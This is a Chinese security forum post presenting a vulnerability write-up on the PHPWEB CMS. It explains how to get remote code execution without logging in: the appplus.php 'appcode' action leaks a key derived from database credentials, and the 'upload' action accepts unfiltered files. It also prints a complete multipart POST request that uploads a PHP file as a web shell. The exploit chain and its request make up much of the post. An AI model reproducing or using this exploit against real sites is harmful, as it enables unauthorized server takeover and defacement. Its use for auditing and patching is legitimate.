搜索
    Hi~登录注册
    查看: 75|回复: 0
    收起左侧

    phpweb前台getshell漏洞

    [复制链接]

    35

    主题

    0

    精华

    18 小时

    在线时间

    新手上路

    Rank: 1

    积分
    28
    发表于 2020-1-14 18:23:17 | 显示全部楼层 |阅读模式

    PHPWEB 前台getshell

    前言:
    PHPWEB,emmm 相信很多大佬还记得那个(南方 phpweb getshell 挂黑页的时代)

    漏洞原因:
    密钥校验 前台有输出点
    任意文件上传

    代码分析:

    密钥校验方法:

    $k=md5(strrev($dbUser.$dbPass));
    $h=$_SERVER["HTTP_REFERER"];
    $t=$_POST["t"];
    $m=$_POST["m"];
    $act=$_POST["act"];
    $path=$_POST["path"];
    
    $md5=md5($k.$t);
    if($m!=$md5){
            echo "ERROR: 安全性校验错误";
    }

    md5(strrev($dbUser.$dbPass));

    strrev() 函数反转字符串。

    QQ截图20200114181642.png 看一下 dbUSer dbPass 是什么值 QQ截图20200114181741.png 满足密钥校验后,查看文件上传的代码 QQ截图20200114181817.png QQ截图20200114181849.png 通过 act 进入upload 文件上传
    文件上传的流程并没有对上传文件名进行过滤

    也就是说,当我们密钥验证成功后,就可以通过文件上传漏洞进行getshell
    查找其他密钥校验点: QQ截图20200114181915.png $code 的值 包含密钥内容 并进行了echo
    跟一下 如何进入echo $code; QQ截图20200114182003.pngQQ截图20200114181951.png 直接构造act=appcode 即可 获取

    漏洞验证:
    获取密钥 QQ截图20200114182056.png

    POST  /base/appplus.php HTTP/1.1 Host: xxx User-Agent: curl/7.54.0 Accept: */* Content-Length: 424 Expect: 100-continue Content-Type: multipart/form-data; boundary=--------1232106989 Connection: close ----------1232106989 Content-Disposition: form-data; name="m" 4e9e0c9852a7a4f8e297b191bc788d95 ----------1232106989 Content-Disposition: form-data; name="act" upload ----------1232106989 Content-Disposition: form-data; name="file"; filename="s.php" Content-Type: application/octet-stream  ----------1232106989 Content-Disposition: form-data; name="r_size"   20 ----------1232106989--

    访问:

    QQ截图20200114182256.png

    参考:
    mochazz师傅的phpweb审计
    十分感谢mochazz师傅的分享

    QQ截图20200114182117.png
    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表